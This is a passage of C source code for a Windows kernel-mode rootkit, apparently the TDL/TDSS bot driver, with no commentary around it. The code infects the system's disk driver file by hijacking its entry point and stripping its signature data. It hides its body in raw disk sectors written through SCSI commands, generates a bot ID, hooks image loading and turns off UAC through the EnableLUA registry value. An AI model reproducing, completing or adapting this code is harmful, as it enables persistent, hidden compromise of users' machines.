dwRsrcSize-=dwPartSize; dwRsrcOffset+=dwPartSize; pvRsrcOriginalOffset=RtlOffsetToPointer(pvRsrcOriginalOffset,dwPartSize); } HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress); HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size); HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.AddressOfEntryPoint),sizeof(DWORD),&pinhHeader->OptionalHeader.AddressOfEntryPoint); HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.CheckSum),sizeof(DWORD),&pinhHeader->OptionalHeader.CheckSum); for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++) { svibBuffer.StartingVcn.QuadPart=(ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset/dwClasterSize); ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_GET_RETRIEVAL_POINTERS,&svibBuffer,sizeof(svibBuffer),&rpbBuffer,sizeof(rpbBuffer)); GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset=dwFirstSector+(DWORD)_alldiv((ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+piInfo.StartingOffset.QuadPart+_allmul(rpbBuffer.Extents[0].Lcn.QuadPart,(LONGLONG)dwClasterSize)),(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize); GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset%=GET_TDL_ADDRESSES->dwSectorSize; } ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,hDriver); dwSize=0; ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&dwSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE); ZwClose(hSection); pinhHeaderCache=RtlImageNtHeader(pvFile); pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress; pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size; pinhHeaderCache->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.AddressOfEntryPoint; pinhHeaderCache->OptionalHeader.CheckSum=pinhHeader->OptionalHeader.CheckSum; memcpy(RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),TDL_START_SIZE); ZwUnmapViewOfSection(NtCurrentProcess(),pvFile); //ZwClose(hDriver); TDLFSInit(); _snwprintf(GET_TDL_ADDRESSES->wcTDLConfig,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLConfig)-1,wcIniFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory); ////////////////////////////////////////////////////////////////////////// /* CHAR cDebug[]={'U','P','D','%','w','s',' ','%','d','\n',0}; CHAR cSection[]={'m','a','i','n',0}; CHAR cKey[]={'r','e','b','o','o','t','s',0}; DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig, TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)); TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey, TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1); DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)); TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey, TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1); */ ////////////////////////////////////////////////////////////////////////// GET_TDL_ADDRESSES->pvLoadLibraryExA=0; /* WCHAR wcIniFormat2[]={L'%',L's',L'\\',L'%',L's',L'\\',L'm',L'u',L't',L'e',L'x','.',L't',L'm',L'p',0}; WCHAR wcFile[MAX_PATH]; _snwprintf(wcFile,RTL_NUMBER_OF(wcFile)-1,wcIniFormat2, GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory); CHAR cMsg[]={'i','s','a','f','t','e','\n',0}; DbgPrint(cMsg); BOOL bRet=FALSE; HANDLE hFile=0; UNICODE_STRING usFile; OBJECT_ATTRIBUTES oaAttributes; IO_STATUS_BLOCK iosbStatus; RtlInitUnicodeString(&usFile,wcFile); InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); bRet=NT_SUCCESS(ZwOpenFile(hFile,FILE_WRITE_DATA|FILE_READ_DATA|SYNCHRONIZE, &oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)); if(!bRet) { CHAR cMsg1[]={'c','r','e','a','t','\n',0}; DbgPrint(cMsg1); ZwCreateFile(&hFile,SYNCHRONIZE|GENERIC_WRITE,&oaAttributes,&iosbStatus,0,0, FILE_SHARE_READ,FILE_CREATE,FILE_SYNCHRONOUS_IO_NONALERT,0,0); } else { CHAR cMsg2[]={'o','p','e','n','o','k','\n',0}; DbgPrint(cMsg2); PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify)); } if(hFile) ZwClose(hFile); */ PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify)); pwqiThread=(PWORK_QUEUE_ITEM)ExAllocatePool(NonPagedPool,sizeof(WORK_QUEUE_ITEM)); if(pwqiThread!=0) { ExInitializeWorkItem(pwqiThread,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIKnock),pwqiThread); ExQueueWorkItem(pwqiThread,DelayedWorkQueue); } //KADInit(); WCHAR wcUAC[]={'\\','r','e','g','i','s','t','r','y','\\','m','a','c','h','i','n','e','\\', 'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\', 'W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\', 'P','o','l','i','c','i','e','s','\\','S','y','s','t','e','m',0}; WCHAR wcUACName[]={'E','n','a','b','l','e','L','U','A',0}; DWORD dwUAC=0; RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,wcUAC,wcUACName,REG_DWORD,&dwUAC,sizeof(dwUAC)); } } return STATUS_SUCCESS; } NTSTATUS Reinitialize(PDEVICE_OBJECT pdoDevice,BOOLEAN bFsActive) { WCHAR wcFormat[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0}; WCHAR wcDriver[MAX_PATH]; OBJECT_ATTRIBUTES oaAttributes; UNICODE_STRING usFile; IO_STATUS_BLOCK iosbStatus; HANDLE hDriver; _snwprintf(wcDriver,RTL_NUMBER_OF(wcDriver),wcFormat,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver"))); RtlInitUnicodeString(&usFile,wcDriver); InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(ZwOpenFile(&hDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT))) { TDLInit(hDriver); if(pdoDevice!=0) { IoUnregisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize)); } return STATUS_SUCCESS; } return STATUS_OBJECT_NAME_NOT_FOUND; } __declspec(noinline) VOID TDLEnd() { return; } NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry) { PTDL_START ptsStart; DWORD dwDelta; PIMAGE_NT_HEADERS pinhHeader; PIMAGE_SECTION_HEADER pishHeader; DWORD dwSection; __asm { call delta delta: pop eax sub eax,offset delta mov [dwDelta],eax } ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START)); if((DWORD_PTR)pusRegistry>1) { PVOID pvKernel; PLIST_ENTRY pleEntry; pleEntry=((PLDR_DATA_TABLE_ENTRY)pdoDriver->DriverSection)->InLoadOrderLinks.Flink; while(CONTAINING_RECORD(pleEntry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->LoadCount!=0) { pleEntry=pleEntry->Flink; } pvKernel=CONTAINING_RECORD(pleEntry->Flink,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->DllBase; ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)((PExAllocatePool)RtlOffsetToPointer(pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,sizeof(TDL_ADDRESSES)); GET_TDL_ADDRESSES->pvKernel=pvKernel; GET_TDL_ADDRESSES->pdoDriver=pdoDriver; pinhHeader=(PIMAGE_NT_HEADERS)RtlOffsetToPointer(pdoDriver->DriverStart,((PIMAGE_DOS_HEADER)pdoDriver->DriverStart)->e_lfanew); pishHeader=IMAGE_FIRST_SECTION(pinhHeader); for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++) { pishHeader->Characteristics&=~IMAGE_SCN_MEM_DISCARDABLE; if(*(PDWORD)pishHeader->Name=='TINI') { *pishHeader->Name=0; } pishHeader++; } ((PIoRegisterFsRegistrationChange)RtlOffsetToPointer(pvKernel,ptsStart->pIoRegisterFsRegistrationChange))(pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer(TDLStart,dwDelta)); return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(pdoDriver->DriverStart,ptsStart->pdiOEP))(pdoDriver,pusRegistry); } else { PDEVICE_OBJECT pdoDevice; GET_TDL_ADDRESSES->pvDriverCode=((PExAllocatePool)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200)); pdoDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject; while(pdoDevice!=0) { BYTE bDeviceName[MAX_PATH]; DWORD dwSize; if(NT_SUCCESS(((PObQueryNameString)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pObQueryNameString))(pdoDevice,(POBJECT_NAME_INFORMATION)bDeviceName,sizeof(bDeviceName),&dwSize))) { OBJECT_ATTRIBUTES oaAttributes; IO_STATUS_BLOCK iosbStatus; LARGE_INTEGER liOffset; HANDLE hDisk; liOffset.QuadPart=ptsStart->ullDriverCodeOffset; InitializeObjectAttributes(&oaAttributes,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(((PZwOpenFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwOpenFile))(&hDisk,FILE_READ_DATA|FILE_WRITE_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH)) &&NT_SUCCESS(((PZwReadFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwReadFile))(hDisk,0,0,0,&iosbStatus,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),&liOffset,0)) &&(*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode==TDL_SIGNATURE)) { ((PIoUnregisterFsRegistrationChange)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pIoUnregisterFsRegistrationChange))(GET_TDL_ADDRESSES->pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer((DWORD_PTR)dwDelta,TDLStart)); return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE))(GET_TDL_ADDRESSES->pdoDriver,(PUNICODE_STRING)pdoDevice); } } pdoDevice=pdoDevice->NextDevice; } } return STATUS_SUCCESS; } NTSTATUS DriverInfect(PWCHAR pwcDriver,PDEVICE_OBJECT pdoDevice,PHANDLE phDriver) { NTSTATUS ntsResult; READ_CAPACITY_DATA rcdData; ntsResult=STATUS_VOLUME_DIRTY; if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_READ_CAPACITY,SRB_FLAGS_DATA_IN,&rcdData,sizeof(rcdData),0))) { LARGE_INTEGER liOffset; liOffset.QuadPart=_allmul((ULONGLONG)_byteswap_ulong(rcdData.LogicalBlockAddress),(ULONGLONG)_byteswap_ulong(rcdData.BytesPerBlock))-ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200); GET_TDL_ADDRESSES->ullFSOffset=liOffset.QuadPart; ntsResult=STATUS_INSUFFICIENT_RESOURCES; GET_TDL_ADDRESSES->pvDriverCode=ExAllocatePool(NonPagedPool,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200)); if(GET_TDL_ADDRESSES->pvDriverCode!=0) { DWORD dwSectorOffset; OBJECT_ATTRIBUTES oaAttributes; IO_STATUS_BLOCK iosbStatus; UNICODE_STRING usDriver; RtlInitUnicodeString(&usDriver,pwcDriver); InitializeObjectAttributes(&oaAttributes,&usDriver,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); ntsResult=STATUS_FILE_LOCK_CONFLICT; if(NT_SUCCESS(ZwOpenFile(phDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH))) { FILE_STANDARD_INFORMATION fsiInfo; if(NT_SUCCESS(ZwQueryInformationFile(*phDriver,&iosbStatus,&fsiInfo,sizeof(fsiInfo),FileStandardInformation))) { HANDLE hSection; if(NT_SUCCESS(ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,*phDriver))) { SIZE_T stSize=0; PVOID pvFile=0; if(NT_SUCCESS(ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&stSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE))) { PIMAGE_NT_HEADERS pinhHeader; TDL_START tsStart; *(PDWORD)GET_TDL_ADDRESSES->pvDriverCode=TDL_SIGNATURE; pinhHeader=RtlImageNtHeader(pvFile); memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),TDL_START_SIZE); memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE),TDLEntry,(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry); dwSectorOffset=(DWORD)_alldiv(liOffset.QuadPart,(ULONGLONG)0x200); ntsResult=STATUS_MEDIA_WRITE_PROTECTED; if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_WRITE,SRB_FLAGS_DATA_OUT,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),dwSectorOffset))) { ntsResult=STATUS_SUCCESS; GET_TDL_ADDRESSES->pvKernel=GetNtoskrnlBase(); tsStart.pExAllocatePool=(PExAllocatePool)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xde45e96c)); tsStart.pdiOEP=(PDRIVER_INITIALIZE)(DWORD_PTR)pinhHeader->OptionalHeader.AddressOfEntryPoint; tsStart.pObQueryNameString=(PObQueryNameString)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xacc76391)); tsStart.pZwOpenFile=(PZwOpenFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe1958d63)); tsStart.ullDriverCodeOffset=liOffset.QuadPart; tsStart.pZwReadFile=(PZwReadFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xba157c0f)); tsStart.pIoRegisterFsRegistrationChange=(PIoRegisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe59d219f)); tsStart.pIoUnregisterFsRegistrationChange=(PIoUnregisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0x9a77f3d8)); tsStart.dwSectionSecurityVirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress; tsStart.dwSectionSecuritySize=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size; tsStart.dwCheckSum=pinhHeader->OptionalHeader.CheckSum; memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress),PVOID),(PVOID)TDLStart,(DWORD_PTR)DriverInfect-(DWORD_PTR)TDLStart); memcpy(MAKE_PTR(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)+TDL_START_SIZE-sizeof(TDL_START),PVOID),&tsStart,sizeof(tsStart)); pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=0; pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=0; pinhHeader->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress; pinhHeader->OptionalHeader.CheckSum=0; pinhHeader->OptionalHeader.CheckSum=PEChecksum(pvFile,fsiInfo.EndOfFile.LowPart,0); } ZwUnmapViewOfSection(NtCurrentProcess(),pvFile); } ZwClose(hSection); } } } } } return ntsResult; } DWORD DriverEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry) { //CHAR cDebug[]={'T','D','L','\n',0}; //DbgPrint(cDebug); CHAR cBotID[0x10+1]; WCHAR wcBotID[0x10+sizeof(L'\\')+1]; WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0}; OBJECT_ATTRIBUTES oaAttributes; HANDLE hEvent; NTSTATUS ntsStatus=STATUS_OBJECT_NAME_COLLISION; UNICODE_STRING usName; GenerateBotID(cBotID,RTL_NUMBER_OF(cBotID)); _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,cBotID); RtlInitUnicodeString(&usName,wcBotID); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE))) { WCHAR wcVolume[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0}; HANDLE hVolumeLink; ntsStatus=STATUS_LINK_FAILED; ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)ExAllocatePool(NonPagedPool,sizeof(TDL_ADDRESSES)); memset(GET_TDL_ADDRESSES,0,sizeof(TDL_ADDRESSES)); strncpy(GET_TDL_ADDRESSES->cBotID,cBotID,sizeof(GET_TDL_ADDRESSES->cBotID)); RtlInitUnicodeString(&usName,wcVolume); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0); if(NT_SUCCESS(ZwOpenSymbolicLinkObject(&hVolumeLink,GENERIC_READ,&oaAttributes))) { WCHAR wcSystemRoot[MAX_PATH]; usName.Buffer=wcSystemRoot; usName.MaximumLength=sizeof(wcSystemRoot); if(NT_SUCCESS(ZwQuerySymbolicLinkObject(hVolumeLink,&usName,0))) { HANDLE hVolumeDirectory; WCHAR wcVolumeDevice[MAX_PATH]; WCHAR wcFormatDevice[]={L'\\',L'?',L'?',L'\\',L'g',L'l',L'o',L'b',L'a',L'l',L'r',L'o',L'o',L't',L'%',L'w',L'Z',0}; *wcschr(wcschr(usName.Buffer+sizeof(WCHAR),L'\\')+sizeof(WCHAR),L'\\')=0; _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatDevice,&usName); RtlInitUnicodeString(&usName,wcVolumeDevice); ntsStatus=STATUS_FILE_IS_A_DIRECTORY; if(NT_SUCCESS(ZwOpenDirectoryObject(&hVolumeDirectory,DIRECTORY_QUERY,&oaAttributes))) { PDIRECTORY_BASIC_INFORMATION pdbiInfo; pdbiInfo=(PDIRECTORY_BASIC_INFORMATION)ExAllocatePool(PagedPool,PAGE_SIZE); if(pdbiInfo!=0) { DWORD dwSize; DWORD dwContext=0; ntsStatus=STATUS_BUFFER_TOO_SMALL; if(NT_SUCCESS(ZwQueryDirectoryObject(hVolumeDirectory,pdbiInfo,PAGE_SIZE,FALSE,FALSE,&dwContext,&dwSize))) { ntsStatus=STATUS_OBJECT_NAME_NOT_FOUND; for(dwContext=0;pdbiInfo[dwContext].ObjectName.Length!=0;dwContext++) { WCHAR wcDevice[]={L'd',L'e',L'v',L'i',L'c',L'e',0}; if((*(PDWORD)pdbiInfo[dwContext].ObjectName.Buffer=='R\0D\0') &&(_wcsnicmp(pdbiInfo[dwContext].ObjectTypeName.Buffer,wcDevice,pdbiInfo[dwContext].ObjectTypeName.Length/sizeof(WCHAR))==0)) { WCHAR wcFormatObject[]={L'%',L's',L'\\',L'%',L'w',L'Z',0}; HANDLE hVolumeDevice; IO_STATUS_BLOCK iosbStatus; ntsStatus=STATUS_OBJECT_NO_LONGER_EXISTS; _snwprintf(wcVolumeDevice,RTL_NUMBER_OF(wcVolumeDevice),wcFormatObject,wcSystemRoot,&pdbiInfo[dwContext].ObjectName); RtlInitUnicodeString(&usName,wcVolumeDevice); if(NT_SUCCESS(ZwOpenFile(&hVolumeDevice,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT))) { PFILE_OBJECT pfoDriver; ntsStatus=STATUS_GRAPHICS_TOO_MANY_REFERENCES; if(NT_SUCCESS(ObReferenceObjectByHandle(hVolumeDevice,SYNCHRONIZE,0,KernelMode,(PVOID*)&pfoDriver,0))) { WCHAR wcFormatDriverPath[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0}; WCHAR wcPath[MAX_PATH]; HANDLE hDriver; GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)pfoDriver->DeviceObject->DeviceObjectExtension)->AttachedTo; while(((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo!=0) { GET_TDL_ADDRESSES->pdoDeviceDisk=((PDEVOBJ_EXTENSION_REAL)GET_TDL_ADDRESSES->pdoDeviceDisk->DeviceObjectExtension)->AttachedTo; } GET_TDL_ADDRESSES->pdoDriver=GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject; _snwprintf(wcPath,RTL_NUMBER_OF(wcPath)-1,wcFormatDriverPath,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR))); ntsStatus=DriverInfect(wcPath,GET_TDL_ADDRESSES->pdoDeviceDisk,&hDriver); if(NT_SUCCESS(ntsStatus)) { WCHAR wcLinkDriver[]={L'\\',L't',L'd',L'r',L'v',0}; WCHAR wcLinkDevice[]={L'\\',L't',L'd',L'e',L'v',0}; HANDLE hLink; UNICODE_STRING usLink; SECURITY_DESCRIPTOR sdSecurity; RtlCreateSecurityDescriptor(&sdSecurity,SECURITY_DESCRIPTOR_REVISION); RtlSetDaclSecurityDescriptor(&sdSecurity,TRUE,(PACL)NULL,FALSE); GetEPNameOffset(); ntsStatus=((PTDLInit)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLInit-(DWORD_PTR)TDLEntry))(hDriver); if(NT_SUCCESS(ntsStatus)) { RtlInitUnicodeString(&usName,wcLinkDriver); RtlInitUnicodeString(&usLink,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR))); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,0); ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink); RtlInitUnicodeString(&usName,wcLinkDevice); RtlInitUnicodeString(&usLink,GET_TDL_ADDRESSES->wcFSDevice); InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,&sdSecurity); ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink); ObfDereferenceObject(pfoDriver); ZwClose(hVolumeDevice); ntsStatus=STATUS_SECRET_TOO_LONG; } } } break; } } } } ExFreePool(pdbiInfo); } ZwClose(hVolumeDirectory); } } ZwClose(hVolumeLink); } } return ntsStatus; } EXTERN_C_END NT_END